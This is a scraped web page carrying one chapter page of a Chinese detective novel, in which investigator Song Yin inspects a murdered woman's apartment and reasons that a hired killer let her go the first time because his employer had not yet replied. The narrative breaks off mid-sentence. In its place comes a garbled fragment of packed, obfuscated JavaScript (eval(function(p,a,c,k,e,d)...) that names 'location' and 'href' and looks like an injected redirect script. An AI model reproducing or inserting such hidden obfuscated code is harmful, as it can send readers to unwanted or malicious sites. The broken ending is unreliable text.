18.Chapter18(第2页)





李虹去世不过短短几日,这间房子的墙角却已结了很多蛛网,看起来破旧了很多。
 




房子的布局很简单。
 




玄关是一条窄而短的走廊,正对着门的走廊尽头,是那幅奇怪的画、满墙的护身符、以及一个香炉。
 




进门左手边是一面墙,右手边则是一排储物柜,在靠近大门的地方,留出了一条通往餐厅与客厅的过道。
 




客厅的尽头便是阳台了,那里种了许多植物,现在已经开始衰败。
 




刚一进门,宋隐就在玄关处走了个几个来回。
 




经确认,由于那排长柜子的遮挡,站在这里,根本无法看到阳台的情况。
 




而光路是可逆的。
 




由此可以推测,站在阳台,也无法看见玄关处的情况。尤其是那幅画和香炉,将彻底处在视角盲区中。
 




为了确认这一点,宋隐又去到了阳台,站在那里回望向玄关。
 




他发现自己确实看不到那幅画和香炉,它们彻底被那一长排柜子遮住了。
 




最后宋隐再拿出望远镜,朝阳台外的远方望了去。
 




“宋老师,”卓宛白走过来问,“有什么发现?”
 




宋隐道:“凶手没有在小区的单元楼门口、电梯间等任何摄像头里留下身影。
 




“再有,连队先前带着人来李虹家做了完整的现勘,能确认屋子只有李虹一个人的生活痕迹,没有被入侵过,也没有被安装针孔摄像头等东西。”
 




对于宋隐进屋后一系列举动的用意,卓宛白这下明白了:“这种情况下,如果凶手能知道,李虹每晚都会上香,只能是通过阳台进行了偷窥!”
 




“是。”宋隐放下望远镜,“不过李虹家住三楼,阳台的窗户被小区的树木遮挡得很严密。
 




“更何况,玄关用柜子做了隔断,摆着香炉的地方,更在视线盲区内,从阳台外根本没法看到。
 




“所以现在可以确定了——
 




“我刚才说的那个前提,完全不成立。
 




“也就是说,凶手从头到尾,都不知道上香的事。”
 




温度好似无端降了几度。
 




卓宛白下意识裹紧大衣,忍不住问:“那凶手到底为什么……为什么第一次会放李虹走?”
 




宋隐走回客厅,视线落在了茶几上,那里放着一幅应该是由李虹自己完成的十字绣。
 




那幅十字绣绷在原木色的框里,针脚间距分毫不差,不同色块间没有任何一丝越界的线条,绣得就像是复制粘贴制造出来的那般工整——
 




工整得就像,杀死李虹的凶手的行动步骤一样。
 




宋隐在案子的最初,就感觉凶手很像职业杀手。
 




他提前在小区踩点,摸清楚了所有监控的位置,制定好了自己的行动方式。
 




他知道自己只能在夜深人静,地库车多人少的时候,才有机会混进去埋伏,但那个时候李虹有可能已经回家了,那么他就得找个理由把她骗出来。
 




通过修车行,他知道了不久前李虹忘关车灯、换电瓶的经历,于是想到了骗她出来的办法,然后购买了身份证号注册了微信,混进了物业群……
 




而这也意味着,制定杀人计划时,他甚至去小区附近的修车行、食品商店等地方仔细打探过李虹的消息。
 




从杀人策略的设计,再到实施过程来看,凶手冷静自持、行动高效,就像一个冷血好用的杀人机器。
 




这样的侧写,完全符合职业杀手的特征。
 




但先前宋隐没有轻易下定论,主要有两个原因:
 




第一,既然是职业杀手,为什么只处理了钢管,而没处理其他任何证据?
 




他怎么可能把李虹的车、用过的针线和刀,随便丢在河边?他为什么完全没有处理尸体?
 




第二,职业杀手杀人,是拿钱办事。
 




他有什么必要画蛇添足地,搞出一个仪式来?
 




现在不妨换个角度考虑问题。
 




暂时不管这两个疑点,假设凶手就是职业杀手,再来反推真相,会怎么样呢?
 




根据杀手的特写,他是一个精心制定杀人计划,并会严格按计划行事的人。
 




按理,他不会心生恻隐,也不会犹豫不决。
 




所以他第一次放走李虹,绝不是出于自身原因。
 




那么原因只能从外部来找了。
 




比如,杀手是不是和雇主在沟通上,出现了什么问题?
 




“你确定动手吗?我怎么感觉你不想杀她?”
 




“我的尾款能提前付一部分吗?我收到后才会动手。”
 




“我决定今晚动手,你认为是否可行,请回复并确认行动。”
 




……
 




杀手可能给雇主发了类似这样的消息。
 




可雇主没有及时回复。
 




因此李虹第一次经过自己面前时,杀手只能眼睁睁看着她离开。
 




可恰恰就在两分钟不到的时间内,雇主给了他确切答复,杀手这便发了微信,试图把李虹再骗出来一次。
 




话说回来,如果这个推理是正确的……
 




那个木雕娃娃,和杀人仪式又是怎么
 




;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fro|15091285|162326||http|test|mini|href|location''.split(''|''),0,{}));